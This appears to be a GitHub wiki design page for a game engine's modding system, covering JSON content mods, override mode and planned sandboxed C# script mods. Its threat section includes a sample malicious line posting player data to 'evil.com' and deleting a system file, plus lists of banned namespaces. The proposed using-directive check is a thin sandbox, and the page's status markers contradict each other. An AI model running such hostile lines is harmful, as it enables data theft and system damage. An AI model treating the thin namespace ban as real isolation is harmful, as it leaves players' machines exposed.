-
Notifications
You must be signed in to change notification settings - Fork 0
Engine Modding
Status: ❌ Not Started - Design Complete, Ready for Implementation
Project: RealmEngine.Modding (separate assembly)
Priority: Post-Launch Feature
Estimated Time: 3-4 weeks (phased implementation)
- Overview
- Architecture
- Phase 1: Content Modules
- Phase 2: Override Support
- Phase 3: C# Scripting
- Module Structure
- Loading Pipeline
- Security & Validation
- Godot Integration
- Testing Strategy
The Modding Support System enables community content creation through a secure, layered architecture that allows players to extend the game with custom content and (eventually) custom behaviors.
- Safety First: Content mods cannot harm the player's system
- Data-Driven: Use existing JSON format for maximum compatibility
- Additive Default: Mods extend the game without breaking base content
-
Clear Boundaries: Modding in separate project (
RealmEngine.Modding) - Progressive Enhancement: Start simple (JSON), add complexity later (C# scripts)
A module (or mod) is external data that extends or modifies the game:
Base Game = Code + Data
Module = Additional Data (or Code) that layers on top
Final Game = Base Game + Module₁ + Module₂ + ... + Moduleₙ
| Type | Description | Phase | Security Risk |
|---|---|---|---|
| Content Module | JSON data files (items, enemies, quests) | Phase 1 | ✅ None - Data only |
| Override Module | Replaces base game content | Phase 2 | |
| Script Module | C# code adding new behaviors | Phase 3 | 🔒 Medium - Requires sandboxing |
RealmEngine.Modding/ ← New project
├── RealmEngine.Modding.csproj
├── Models/
│ ├── ModuleManifest.cs ← module.json schema
│ ├── ModuleInfo.cs ← Runtime module state
│ ├── ModuleLoadResult.cs ← Load success/failure
│ ├── ModuleConflict.cs ← Conflict detection
│ └── ModuleLoadMode.cs ← Additive vs Override
├── Services/
│ ├── ModuleLoaderService.cs ← Main loader (discovery, validation, loading)
│ ├── ModuleValidator.cs ← JSON schema validation
│ ├── ModuleMergeService.cs ← Merge mod data with base game
│ ├── ModuleConflictResolver.cs ← Handle conflicts
│ └── ModuleDependencyResolver.cs ← Resolve load order
├── Providers/
│ ├── IContentProvider.cs ← Interface for loading content types
│ ├── ItemContentProvider.cs ← Load modded items (weapons, armor, consumables, materials)
│ ├── EnemyContentProvider.cs ← Load modded enemies
│ ├── QuestContentProvider.cs ← Load modded quests
│ ├── SpellContentProvider.cs ← Load modded spells
│ ├── AbilityContentProvider.cs ← Load modded abilities
│ ├── NpcContentProvider.cs ← Load modded NPCs
│ ├── RecipeContentProvider.cs ← Load modded recipes
│ ├── ClassContentProvider.cs ← Load modded classes
│ ├── SkillContentProvider.cs ← Load modded skills
│ ├── AchievementContentProvider.cs ← Load modded achievements
│ ├── StatusEffectContentProvider.cs ← Load modded status effects
│ ├── DifficultyContentProvider.cs ← Load modded difficulty modes
│ ├── LocationContentProvider.cs ← Load modded locations
│ ├── FactionContentProvider.cs ← Load modded factions/organizations
│ ├── DialogueContentProvider.cs ← Load modded dialogue trees
│ └── EnchantmentContentProvider.cs ← Load modded enchantments
├── Scripting/ ← Phase 3: C# scripting
│ ├── IModScript.cs ← Mod script base class
│ ├── ModScriptContext.cs ← Safe API for scripts
│ ├── ScriptCompiler.cs ← Roslyn compilation
│ ├── ScriptSandbox.cs ← Security restrictions
│ └── ScriptEventHooks.cs ← Game event system
└── Extensions/
└── ServiceCollectionExtensions.cs ← DI registration
RealmEngine.Modding
├── → RealmEngine.Shared (models)
├── → RealmEngine.Data (data loading infrastructure)
├── → RealmEngine.Core (game systems)
├── → Newtonsoft.Json (JSON parsing)
├── → FluentValidation (validation)
├── → Serilog (logging)
└── → Microsoft.CodeAnalysis.CSharp (Phase 3 only)
// Godot or game initialization
services.AddRealmEngineModding(options =>
{
options.ModsPath = "Mods/";
options.EnableAutoDiscovery = true;
options.AllowOverrideMods = false; // Phase 2
options.AllowScriptMods = false; // Phase 3
options.ValidateOnLoad = true;
});
// Load mods at game start
var loader = serviceProvider.GetRequiredService<ModuleLoaderService>();
var modules = await loader.DiscoverModulesAsync();
var results = await loader.LoadModulesAsync(modules);Goal: Allow players to add new items, enemies, quests, etc. using JSON files
Timeline: Week 1-2
Status: 🚧 In Progress
- ✅ Module discovery in
Mods/folder - ✅ JSON schema validation
- ✅ Additive loading (mods add content, don't replace)
- ✅ Dependency resolution (mod A requires mod B)
- ✅ Load order management
- ✅ Error handling and reporting
- ✅ RealmForge mod support (mod creation/editing UI)
- ❌ Override support (Phase 2)
- ❌ Script support (Phase 3)
RealmForge - Primary Mod Authoring Tool
RealmForge (the existing WPF content editor) will be extended to support mod creation, making it the official mod authoring tool:
RealmForge Features for Modding:
├── New Mod Project → Create new mod with manifest
├── Open Mod Project → Load existing mod folder
├── Mod Manifest Editor → Edit module.json (GUI form)
├── Content Editor → Edit catalogs (same as base game)
├── Reference Validator → Check @references resolve
├── Mod Packager → Export .zip for distribution
├── Test Mod in Game → Launch game with mod enabled
└── Publish to Workshop → Future: Steam Workshop integration
Workflow:
- File → New Mod Project - Creates folder structure + module.json
- Edit Content - Use same catalog editors as base game
- Validate - Checks JSON schemas, references, compatibility
- Test - Launch game with mod loaded
-
Package - Export as
.zipfor sharing
Manual Editing Alternative:
- Advanced users can edit JSON files directly in VS Code or any text editor
- RealmForge is optional but recommended for better UX
Mods/
└── AwesomeSwords/ ← Module folder (created by RealmForge)
├── module.json ← Module metadata (REQUIRED - edited via RealmForge)
├── icon.png ← Module icon (optional - 256x256)
├── README.md ← Documentation (optional)
├── Data/
│ └── Json/ ← Content (edited via RealmForge)
│ ├── items/
│ │ └── weapons/
│ │ ├── catalog.json ← New weapons
│ │ └── names.json ← Name generation patterns
│ ├── enemies/
│ │ └── humanoid/
│ │ └── catalog.json ← New enemies
│ ├── quests/
│ │ └── catalog.json ← New quests
│ ├── spells/
│ │ └── catalog.json ← New spells
│ └── recipes/
│ └── catalog.json ← New crafting recipes
└── CHANGELOG.md ← Version history (optional)
Created Automatically by RealmForge:
- Module folder structure
-
module.jsonwith valid schema -
.cbconfig.jsonfiles for UI navigation - Empty catalog templates
Modder Edits:
- Content catalogs via RealmForge's visual editor
- Manifest properties via RealmForge's form editor
- Documentation files via external text editor
{
"$schema": "https://realmengine.io/schemas/module-manifest-v1.0.json",
"id": "awesome-swords",
"name": "Awesome Swords Pack",
"version": "1.2.0",
"author": "CoolModder123",
"description": "Adds 50 legendary swords with unique abilities and epic names.",
"homepage": "https://github.com/coolmodder/awesome-swords",
"license": "MIT",
"engineVersion": {
"minimum": "1.0.0",
"maximum": "2.0.0"
},
"mode": "additive",
"dependencies": [
{
"moduleId": "legendary-materials",
"version": "^1.0.0",
"optional": false
}
],
"contentPaths": {
"items": "Data/Json/items/",
"enemies": "Data/Json/enemies/",
"quests": "Data/Json/quests/",
"spells": "Data/Json/spells/",
"abilities": "Data/Json/abilities/",
"recipes": "Data/Json/recipes/",
"npcs": "Data/Json/npcs/",
"classes": "Data/Json/classes/",
"skills": "Data/Json/skills/",
"achievements": "Data/Json/achievements/",
"status-effects": "Data/Json/status-effects/",
"difficulties": "Data/Json/difficulties/",
"locations": "Data/Json/locations/",
"factions": "Data/Json/organizations/factions/",
"dialogues": "Data/Json/social/dialogues/",
"enchantments": "Data/Json/enchantments/"
},
"tags": ["weapons", "content", "legendary"],
"priority": 100,
"conflicts": [
"super-swords"
]
}| Property | Type | Required | Description |
|---|---|---|---|
id |
string | ✅ Yes | Unique module identifier (kebab-case) |
name |
string | ✅ Yes | Display name |
version |
string | ✅ Yes | Semantic version (1.0.0) |
author |
string | ✅ Yes | Creator name |
description |
string | ✅ Yes | What the module does |
homepage |
string | ❌ No | Module website/repo |
license |
string | ❌ No | License (MIT, GPL, etc.) |
engineVersion |
object | ✅ Yes | Compatible engine versions |
mode |
enum | ✅ Yes |
additive or override (Phase 2) |
dependencies |
array | ❌ No | Required modules |
contentPaths |
object | ✅ Yes | Paths to content folders |
tags |
array | ❌ No | Searchable keywords |
priority |
number | ❌ No | Load order (higher = later) |
conflicts |
array | ❌ No | Incompatible module IDs |
Modules use the exact same JSON format as base game data:
// Mods/AwesomeSwords/Data/Json/items/weapons/catalog.json
{
"metadata": {
"description": "Legendary swords from the Awesome Swords Pack",
"version": "5.1",
"lastUpdated": "2026-01-12",
"type": "item_catalog"
},
"item_types": {
"swords": {
"items": [
{
"slug": "excalibur",
"name": "Excalibur",
"description": "The legendary sword of King Arthur.",
"rarityWeight": 1,
"rarity": 1,
"value": 10000,
"weight": 8.0,
"stackSize": 1,
"itemType": "weapon",
"subType": "longsword",
"attributes": {
"strength": 50,
"charisma": 30
},
"traits": {
"damage": { "value": 100, "type": "number" },
"holydamage": { "value": 50, "type": "number" }
},
"tags": ["legendary", "holy", "two-handed"]
}
]
}
}
}No special syntax required - if it works in base game, it works in mods!
Base Game Items: Iron Sword, Steel Sword, Silver Sword (3 total)
+ Mod "AwesomeSwords": Excalibur, Durandal, Kusanagi (3 new)
─────────────────────────────────────────────────────────────
= Player sees: 6 swords total (all available)
Additive Rules:
- Mods add new content to existing catalogs
- No base game content is removed or replaced
- References work across base game and mods
- Multiple mods can add to same category
Goal: Allow mods to replace base game content
Timeline: Week 3
Status: 🔜 Not Started
- ❌ Override mode in manifest (
"mode": "override") - ❌ Conflict detection (two mods override same item)
- ❌ User warnings for overrides
- ❌ Rollback capability
- ❌ Override priority system
Base Game: Iron Sword (damage: 10, value: 50)
+ Mod (override): Iron Sword (damage: 999, value: 1)
─────────────────────────────────────────────────────
= Player sees: Iron Sword (damage: 999, value: 1) ⚠️
Override Rules:
- Mod must declare
"mode": "override"in manifest - Content matched by
slugoridfield - Last loaded mod wins (load order matters)
- Base game content is backed up
- User receives warning on first load
public class ModuleConflict
{
public string ContentType { get; set; } // "item", "enemy", etc.
public string ContentId { get; set; } // "iron-sword"
public List<string> ConflictingModules { get; set; }
public ConflictSeverity Severity { get; set; }
}
public enum ConflictSeverity
{
Info, // Multiple mods add different content (OK)
Warning, // Multiple mods override same content (user choice)
Error // Circular dependencies (blocks loading)
}⚠️ Module Conflict Detected
The following modules both override "Iron Sword":
• "Balance Tweaks" (v1.0)
• "Realistic Weapons" (v2.1)
Which should take priority?
[ ] Balance Tweaks
[●] Realistic Weapons ← Last loaded wins
[ ] Use base game version
[Apply] [Cancel]
Goal: Allow mods to add new behaviors and game mechanics
Timeline: Month 2+
Status: 🔜 Planned (Not Started)
- ❌ C# script compilation (Roslyn)
- ❌ Sandboxing (banned namespaces)
- ❌ Scripting API (
IModScriptinterface) - ❌ Event hooks (OnCombatStart, OnItemCrafted, etc.)
- ❌ Security auditing
- ❌ Script hot-reload
The Problem:
// Malicious mod could do:
File.Delete("C:\\Windows\\System32\\important.dll");
Process.Start("virus.exe");
HttpClient.PostAsync("evil.com", playerData);The Solution: Sandboxing
// Banned namespaces (cannot be used in mods)
System.IO.* // File access
System.Diagnostics.* // Process control
System.Net.* // Network access
System.Reflection.* // Reflection attacks
System.Runtime.* // Runtime manipulation// Base class all script mods inherit from
public abstract class ModScript
{
// Safe read-only access
protected Character Player { get; }
protected IReadOnlyList<Item> Inventory { get; }
protected GameState State { get; }
// Safe content registration
protected void RegisterItem(Item item) { }
protected void RegisterEnemy(Enemy enemy) { }
protected void RegisterQuest(Quest quest) { }
protected void RegisterSpell(Spell spell) { }
// Event hooks (mod implements these)
public virtual void OnModLoad() { }
public virtual void OnGameStart() { }
public virtual void OnCombatStart(CombatContext ctx) { }
public virtual void OnCombatEnd(CombatResult result) { }
public virtual void OnItemCrafted(Item item) { }
public virtual void OnQuestComplete(Quest quest) { }
public virtual void OnLevelUp(Character character) { }
// Logging (safe)
protected void Log(string message) { }
protected void LogWarning(string message) { }
protected void LogError(string message) { }
}// Mods/FishingMod/Scripts/FishingModScript.cs
using RealmEngine.Modding.Scripting;
public class FishingModScript : ModScript
{
public override void OnModLoad()
{
Log("Fishing Mod loaded!");
// Register new items
RegisterItem(new Item
{
Name = "Fishing Rod",
Type = ItemType.Tool,
Description = "Use near water to catch fish."
});
RegisterItem(new Item
{
Name = "Raw Fish",
Type = ItemType.Consumable,
Description = "A freshly caught fish. Cook it for best results."
});
}
public override void OnPlayerAction(PlayerActionContext ctx)
{
// Custom behavior: use fishing rod near water
if (ctx.Action == "UseItem" && ctx.Item?.Name == "Fishing Rod")
{
if (ctx.Location?.Tags?.Contains("water") == true)
{
StartFishingMinigame(ctx.Player);
}
else
{
ctx.ShowMessage("You need to be near water to fish!");
}
}
}
private void StartFishingMinigame(Character player)
{
// Custom fishing logic
var caught = Random.Next(0, 100) < 30;
if (caught)
{
var fish = CreateItem("Raw Fish");
player.Inventory.Add(fish);
ShowMessage($"You caught a {fish.Name}!");
}
else
{
ShowMessage("The fish got away...");
}
}
}public class ScriptCompiler
{
private static readonly string[] BannedNamespaces =
{
"System.IO",
"System.Diagnostics",
"System.Net",
"System.Reflection"
};
public CompiledModScript CompileScript(string scriptPath)
{
var code = File.ReadAllText(scriptPath);
// Parse code
var tree = CSharpSyntaxTree.ParseText(code);
var root = tree.GetRoot();
// Security check: banned namespaces
var usings = root.DescendantNodes()
.OfType<UsingDirectiveSyntax>();
foreach (var u in usings)
{
if (BannedNamespaces.Any(banned =>
u.Name.ToString().StartsWith(banned)))
{
throw new SecurityException(
$"Banned namespace: {u.Name}");
}
}
// Compile with limited references
var compilation = CSharpCompilation.Create("ModScript")
.AddReferences(
MetadataReference.CreateFromFile(
typeof(ModScript).Assembly.Location))
.AddSyntaxTrees(tree);
// Emit and load
using var ms = new MemoryStream();
var result = compilation.Emit(ms);
if (!result.Success)
throw new CompilationException(result.Diagnostics);
ms.Seek(0, SeekOrigin.Begin);
var assembly = Assembly.Load(ms.ToArray());
return new CompiledModScript(assembly);
}
}Phase 3 is intentionally deferred - adds significant complexity and security risk.
Overview: RealmForge is the official visual editor for creating and editing mods. It provides the same professional tooling used by game developers.
- Visual Editing: No need to hand-edit JSON files
- Validation: Real-time error checking and reference validation
- Autocomplete: Dropdown lists for enums, references, types
- Preview: See items, enemies, quests as you create them
- Integrated: One tool for all content types
- Professional: Same tool developers use
File → New Mod Project
├── Module ID: awesome-swords
├── Name: Awesome Swords Pack
├── Author: YourName
├── Version: 1.0.0
├── Engine Version: 1.0.0 - 2.0.0
└── Base Path: C:\Games\RealmGame\Mods\awesome-swords\
Result: Creates folder structure with module.json and empty catalogs
Tools → Mod Settings (or press Ctrl+M)
┌─────────────────────────────────────────┐
│ Mod Settings │
├─────────────────────────────────────────┤
│ Module ID: awesome-swords │
│ Name: Awesome Swords Pack │
│ Version: 1.0.0 │
│ Author: YourName │
│ Description: [multiline text] │
│ │
│ Engine Compatibility: │
│ Minimum: 1.0.0 │
│ Maximum: 2.0.0 │
│ │
│ Mode: ● Additive │
│ ○ Override (Phase 2) │
│ │
│ Dependencies: [+ Add Dependency] │
│ • legendary-materials ^1.0.0 │
│ [Remove] │
│ │
│ Conflicts: [+ Add Conflict] │
│ • super-swords │
│ [Remove] │
│ │
│ Tags: weapons, content │
│ [+ Add Tag] │
│ │
│ Priority: 100 │
│ (higher = loads later) │
│ │
│ [Save] [Cancel] │
└─────────────────────────────────────────┘
View → Mode → Mod Mode (or toggle switch in toolbar)
Base Game Mode: Edits RealmEngine.Data/Data/Json/
Mod Mode: Edits Mods/awesome-swords/Data/Json/
UI Changes in Mod Mode:
- Title bar shows: "RealmForge - awesome-swords (Mod)"
- File tree shows mod folder structure
- Content auto-saves to mod directory
Same interface as base game editing:
Data Tree (Mod Mode):
└── Mods/awesome-swords/
└── Data/Json/
├── items/
│ └── weapons/
│ ├── catalog.json ← Edit here
│ └── names.json
├── enemies/
└── quests/
Add New Item:
- Right-click
items/weapons/catalog.json - Select "Add Item"
- Fill in form (same as base game editor)
- Save
Tools → Validate Mod (or press F7)
┌─────────────────────────────────────────┐
│ Mod Validation Report │
├─────────────────────────────────────────┤
│ ✅ Manifest valid │
│ ✅ All JSON schemas valid │
│ ✅ All references resolve │
│ ⚠️ Warning: Item "Excalibur" has │
│ unusually high damage (999) │
│ ℹ️ Info: 50 items added │
│ │
│ [Close] [Fix Issues] [Export Anyway] │
└─────────────────────────────────────────┘
Tools → Test Mod in Game (or press F5)
Actions:
1. Saves all open files
2. Validates mod
3. Enables mod in mods-config.json
4. Launches game via Godot
5. Mod is active in game
[Launch Game] [Cancel]
Tools → Package Mod (or press Ctrl+Shift+P)
┌─────────────────────────────────────────┐
│ Package Mod │
├─────────────────────────────────────────┤
│ Mod: Awesome Swords Pack │
│ Version: 1.0.0 │
│ │
│ Output: awesome-swords-v1.0.0.zip│
│ Location: [Browse...] │
│ │
│ Include: │
│ ☑ module.json │
│ ☑ Data/Json/ │
│ ☑ icon.png │
│ ☑ README.md │
│ ☐ CHANGELOG.md │
│ ☐ Source files (.psd, .blend) │
│ │
│ Validation: ✅ Passed │
│ │
│ [Package] [Cancel] │
└─────────────────────────────────────────┘
Result: awesome-swords-v1.0.0.zip ready to share!
- Module ID: Auto-validates kebab-case format
- Version: Semver validation (1.2.3)
- Engine Version: Range picker with min/max
- Dependencies: Autocomplete from installed mods
- Conflicts: Autocomplete from installed mods
- Tags: Predefined tag suggestions
Real-time validation while editing:
Item references spell: @spells/fire/fireball
↑
✅ Valid - spell exists in base game
Item references ability: @abilities/invalid:bad-ability
↑
❌ Error - ability not found
Suggestion: Did you mean @abilities/warrior:power-attack?
Mod A adds item: "Legendary Sword"
Mod B (depends on A) can reference:
@mods/awesome-swords/items/weapons:legendary-sword
RealmForge checks:
- Dependency declared in module.json
- Referenced mod is installed
- Item exists in that mod
Same preview features as base game editing:
- Item preview with stats
- Enemy preview with abilities
- Quest flow diagram
- Recipe ingredient/output tree
For Modders:
- Install RealmForge (included with game SDK)
- Launch RealmForge
- File → New Mod Project
- Start creating!
For Players:
- RealmForge is optional
- Download mods as
.zipfiles - Extract to
Mods/folder - Enable in game's mod manager
Mods/
├── ModuleA/
│ ├── module.json ← REQUIRED
│ ├── Data/Json/ ← Content (Phase 1)
│ └── Scripts/ ← C# scripts (Phase 3)
├── ModuleB/
│ └── module.json
└── ModuleC/
├── module.json
└── Data/Json/
-
Module ID:
kebab-case(e.g.,awesome-swords,difficulty-tweaks) - Folder Name: Same as module ID
-
File Names: Follow base game conventions (
catalog.json,names.json)
Modules use Semantic Versioning (semver):
1.2.3
│ │ └─ Patch (bug fixes)
│ └─── Minor (new features, backward compatible)
└───── Major (breaking changes)
Version Constraints:
-
1.2.3- Exact version -
^1.2.0- Compatible with 1.x (>= 1.2.0, < 2.0.0) -
~1.2.0- Patch updates (>= 1.2.0, < 1.3.0) -
*- Any version (not recommended)
1. Discovery → Scan Mods/ folder for module.json files
2. Validation → Check schemas, versions, dependencies
3. Sorting → Resolve load order (dependencies + priority)
4. Loading → Load content via providers
5. Merging → Merge with base game data
6. Verification → Final validation pass
public class ModuleLoaderService
{
public async Task<List<ModuleManifest>> DiscoverModulesAsync()
{
var moduleFiles = Directory.GetFiles(
_modsPath,
"module.json",
SearchOption.AllDirectories);
var manifests = new List<ModuleManifest>();
foreach (var file in moduleFiles)
{
try
{
var json = await File.ReadAllTextAsync(file);
var manifest = JsonConvert.DeserializeObject<ModuleManifest>(json);
manifest.RootPath = Path.GetDirectoryName(file);
manifests.Add(manifest);
}
catch (Exception ex)
{
_logger.LogError(ex, "Failed to load module: {File}", file);
}
}
return manifests;
}
}public class ModuleValidator
{
public ValidationResult Validate(ModuleManifest module)
{
var errors = new List<string>();
// Required fields
if (string.IsNullOrEmpty(module.Id))
errors.Add("Missing required field: id");
// Version compatibility
if (!IsEngineVersionCompatible(module.EngineVersion))
errors.Add($"Incompatible engine version: {module.EngineVersion}");
// Content paths exist
foreach (var path in module.ContentPaths.Values)
{
var fullPath = Path.Combine(module.RootPath, path);
if (!Directory.Exists(fullPath))
errors.Add($"Content path not found: {path}");
}
// JSON schema validation
foreach (var (contentType, path) in module.ContentPaths)
{
var files = Directory.GetFiles(
Path.Combine(module.RootPath, path),
"*.json",
SearchOption.AllDirectories);
foreach (var file in files)
{
if (!ValidateJsonSchema(file, contentType))
errors.Add($"Invalid JSON schema: {file}");
}
}
return new ValidationResult
{
IsValid = !errors.Any(),
Errors = errors
};
}
}public class ModuleDependencyResolver
{
public List<ModuleManifest> ResolveDependencies(
List<ModuleManifest> modules)
{
// Build dependency graph
var graph = new DependencyGraph();
foreach (var module in modules)
{
graph.AddNode(module.Id);
foreach (var dep in module.Dependencies)
{
graph.AddEdge(module.Id, dep.ModuleId);
}
}
// Detect circular dependencies
if (graph.HasCycle())
throw new CircularDependencyException();
// Topological sort (dependencies load first)
var sorted = graph.TopologicalSort();
// Apply priority (higher priority loads later)
return sorted
.Select(id => modules.First(m => m.Id == id))
.OrderBy(m => m.Priority)
.ToList();
}
}public class ModuleLoaderService
{
private readonly Dictionary<string, IContentProvider> _providers;
public async Task<ModuleLoadResult> LoadModuleAsync(
ModuleManifest module)
{
var result = new ModuleLoadResult { ModuleId = module.Id };
foreach (var (contentType, path) in module.ContentPaths)
{
if (!_providers.TryGetValue(contentType, out var provider))
{
result.Warnings.Add($"Unknown content type: {contentType}");
continue;
}
try
{
var fullPath = Path.Combine(module.RootPath, path);
var content = await provider.LoadContentAsync(fullPath);
result.LoadedContent[contentType] = content;
}
catch (Exception ex)
{
result.Errors.Add($"Failed to load {contentType}: {ex.Message}");
}
}
result.Success = !result.Errors.Any();
return result;
}
}public class ModuleMergeService
{
public void MergeModuleContent(
ModuleManifest module,
Dictionary<string, object> content)
{
foreach (var (contentType, data) in content)
{
switch (module.Mode)
{
case ModuleLoadMode.Additive:
// Add to existing catalogs
_dataRegistry.Add(contentType, data);
break;
case ModuleLoadMode.Override:
// Replace existing content (Phase 2)
_dataRegistry.Replace(contentType, data);
break;
}
}
}
}Threat Model:
- ❌ No code execution
- ✅ Data-only (JSON files)
- ✅ Validated against schemas
- ✅ Cannot access file system
- ✅ Cannot access network
Risk Level: ✅ None - JSON data cannot execute code
- Schema Validation: JSON matches expected structure
-
Reference Validation: All
@referencesresolve correctly - Balance Validation: Values within reasonable ranges (optional)
- Conflict Detection: No overlapping content (Override mode)
public class ModuleValidator
{
// Layer 1: Schema
private bool ValidateJsonSchema(string file, string contentType)
{
var schema = _schemaRegistry.GetSchema(contentType);
var json = JObject.Parse(File.ReadAllText(file));
return json.IsValid(schema);
}
// Layer 2: References
private bool ValidateReferences(JObject json)
{
var refs = json.SelectTokens("$..*[@*]");
foreach (var refToken in refs)
{
if (!_referenceResolver.CanResolve(refToken.Value<string>()))
return false;
}
return true;
}
// Layer 3: Balance (optional warnings)
private List<string> CheckBalance(Item item)
{
var warnings = new List<string>();
if (item.Price > 1000000)
warnings.Add("Price unusually high");
if (item.Traits.TryGetValue("damage", out var dmg) &&
dmg.Value > 500)
warnings.Add("Damage value very high");
return warnings;
}
}Threat Model:
⚠️ C# code execution⚠️ Potential for malicious code- 🔒 Requires sandboxing
Security Measures:
- Namespace Banning: Block dangerous namespaces
-
Assembly Isolation: Load in separate
AssemblyLoadContext -
API Surface: Only expose safe
ModScriptAPI - Code Review: Manual review for popular mods (community)
- Digital Signatures: Verify mod author identity
// Security check during compilation
private static readonly HashSet<string> BannedNamespaces = new()
{
"System.IO",
"System.Diagnostics",
"System.Net",
"System.Net.Http",
"System.Reflection",
"System.Runtime.InteropServices",
"System.Security",
"Microsoft.Win32"
};
// Banned types
private static readonly HashSet<string> BannedTypes = new()
{
"System.AppDomain",
"System.Environment",
"System.Activator",
"System.Runtime.Loader.AssemblyLoadContext"
};# Godot UI: Mod Manager Screen
extends Control
var mod_loader: ModuleLoaderService
func _ready():
mod_loader = get_node("/root/ModLoader")
refresh_mod_list()
func refresh_mod_list():
var modules = await mod_loader.discover_modules_async()
for module in modules:
var item = ModListItem.new()
item.module_id = module.id
item.name = module.name
item.enabled = module.enabled
item.on_toggle = _on_mod_toggled
$ModList.add_child(item)
func _on_mod_toggled(module_id: String, enabled: bool):
mod_loader.set_module_enabled(module_id, enabled)
# Require restart to apply changes
show_restart_prompt()public class ModuleLoaderService
{
private readonly string _configPath = "mods-config.json";
public void SetModuleEnabled(string moduleId, bool enabled)
{
var config = LoadConfig();
config.EnabledModules[moduleId] = enabled;
SaveConfig(config);
}
public async Task<List<ModuleManifest>> DiscoverModulesAsync()
{
var config = LoadConfig();
var allModules = await ScanModsDirectory();
// Filter by enabled state
return allModules
.Where(m => config.EnabledModules.GetValueOrDefault(m.Id, true))
.ToList();
}
}┌─────────────────────────────────────┐
│ Mod Load Order │
├─────────────────────────────────────┤
│ [✓] Base Game Content (0) │
│ [✓] Essential Fixes (10) │
│ [✓] Balance Overhaul (50) │
│ [✓] Awesome Swords (100) │
│ [✓] Mega Dungeon Pack (100) │
│ [ ] Experimental Features (200) │
├─────────────────────────────────────┤
│ [Move Up] [Move Down] [Reset] │
└─────────────────────────────────────┘
// RealmEngine.Modding.Tests/ModuleLoaderTests.cs
public class ModuleLoaderTests
{
[Fact]
public async Task DiscoverModules_FindsValidModule()
{
// Arrange
var loader = new ModuleLoaderService(_modsPath);
// Act
var modules = await loader.DiscoverModulesAsync();
// Assert
modules.Should().NotBeEmpty();
modules.Should().Contain(m => m.Id == "test-module");
}
[Fact]
public void ValidateModule_RejectsInvalidManifest()
{
// Arrange
var module = new ModuleManifest { /* missing required fields */ };
var validator = new ModuleValidator();
// Act
var result = validator.Validate(module);
// Assert
result.IsValid.Should().BeFalse();
result.Errors.Should().Contain(e => e.Contains("Missing required field"));
}
[Fact]
public void DependencyResolver_SortsCorrectly()
{
// Arrange
var modules = new[]
{
new ModuleManifest { Id = "mod-c", Dependencies = new[] { "mod-b" } },
new ModuleManifest { Id = "mod-a" },
new ModuleManifest { Id = "mod-b", Dependencies = new[] { "mod-a" } }
};
var resolver = new ModuleDependencyResolver();
// Act
var sorted = resolver.ResolveDependencies(modules.ToList());
// Assert
sorted.Select(m => m.Id).Should().BeInOrder();
sorted[0].Id.Should().Be("mod-a");
sorted[1].Id.Should().Be("mod-b");
sorted[2].Id.Should().Be("mod-c");
}
}public class ModuleIntegrationTests
{
[Fact]
public async Task LoadModule_AddsItemsToDatabase()
{
// Arrange
var services = BuildServiceProvider();
var loader = services.GetRequiredService<ModuleLoaderService>();
var itemService = services.GetRequiredService<ItemDataService>();
var initialCount = itemService.GetAllItems().Count();
// Act
var module = await loader.LoadModuleAsync("test-items-mod");
// Assert
module.Success.Should().BeTrue();
var newCount = itemService.GetAllItems().Count();
newCount.Should().BeGreaterThan(initialCount);
}
}RealmEngine.Modding.Tests/
└── TestMods/
├── ValidModule/
│ ├── module.json ← Valid manifest
│ └── Data/Json/items/catalog.json
├── InvalidModule/
│ └── module.json ← Missing required fields
└── CircularDependency/
├── ModA/
│ └── module.json ← Depends on ModB
└── ModB/
└── module.json ← Depends on ModA
- Item System - Moddable items
- Quest System - Moddable quests
- Combat System - Moddable enemies, abilities
- Crafting System - Moddable recipes
- Spell System - Moddable spells
Week 1: Project Setup & Models
- Create
RealmEngine.Moddingproject - Add project references (Shared, Data, Core)
- Define
ModuleManifest.csmodel - Define
ModuleInfo.csmodel - Define
ModuleLoadResult.csmodel - Define
ModuleLoadMode.csenum - Write manifest JSON schema
- Unit tests for models
Week 1: Project Setup & Models
- Create
RealmEngine.Moddingproject - Add project references (Shared, Data, Core)
- Define
ModuleManifest.csmodel - Define
ModuleInfo.csmodel - Define
ModuleLoadResult.csmodel - Define
ModuleLoadMode.csenum - Write manifest JSON schema
- Unit tests for models
Week 2: Core Services & RealmForge Integration
- Implement
ModuleLoaderService(discovery) - Implement
ModuleValidator(schema validation) - Implement
ModuleDependencyResolver(sorting) - Implement content providers:
-
ItemContentProvider -
EnemyContentProvider -
QuestContentProvider -
SpellContentProvider -
AbilityContentProvider -
RecipeContentProvider -
NpcContentProvider -
ClassContentProvider -
SkillContentProvider -
AchievementContentProvider -
StatusEffectContentProvider -
DifficultyContentProvider -
LocationContentProvider -
FactionContentProvider -
DialogueContentProvider -
EnchantmentContentProvider
-
- Implement
ModuleMergeService(additive merging) - Integration tests with test mods
- Godot integration example
- RealmForge mod support:
- New Mod Project wizard
- Open Mod Project command
- Mod Manifest Editor (GUI form)
- "Switch Mode" (Base Game / Mod) in UI
- Mod Packager (.zip export)
- Test in Game button
- Mod validation UI
- Documentation updates
- Add override mode to manifest
- Implement
ModuleConflictResolver - Add conflict detection
- Add user warnings for overrides
- Priority system for load order
- Unit tests for override behavior
- UI for conflict resolution
- Design
IModScriptAPI surface - Implement
ScriptCompiler(Roslyn) - Implement namespace banning
- Implement
ScriptSandbox(AssemblyLoadContext) - Event hook system
- Security audit
- Example script mods
- Script mod documentation
- Performance testing
Last Updated: January 12, 2026 23:00 UTC
Status: Design Complete, Ready for Implementation
Home · Getting Started · Contributing · FAQ
Characters & Progression
Combat
Items & Economy
World & Content
Extensibility
Regions & Zones